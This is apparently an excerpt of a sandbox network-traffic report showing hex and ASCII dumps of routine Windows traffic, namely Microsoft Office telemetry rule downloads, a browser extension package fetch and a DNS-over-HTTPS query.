2024-11-20 17:57:41 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175741Z-185f5d8b95ctl8xlhC1NYCn94g0000000ah000000001356q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:41 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175741Z-1777c6cb754j8gqphC1TEB5bf800000009v000000000fnut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:41 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:41 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175741Z-185f5d8b95cjbkr4hC1NYCeu240000000af000000000atb5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 17:57:41 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:41 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175741Z-185f5d8b95c68cvnhC1NYCfn7s0000000apg000000000fdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:42 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49805	142.250.181.65	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 17:57:42 UTC	572	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC6JkCk8KVsgzAnyK13tfsZGAX1YsoxlYXcJQme5SNv96mVXDeusl-vzqGzZbB2UfcvZ_88jkIpl3g X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 20 Nov 2024 16:45:00 GMT Expires: Thu, 20 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 4362 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 17:57:42 UTC	818	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c Data Ascii: V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af Data Ascii: ? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 Data Ascii: =[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 Data Ascii: wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mess
2024-11-20 17:57:42 UTC	1390	IN	Data Raw: c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49813	162.159.61.3	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-20 17:57:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:43 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
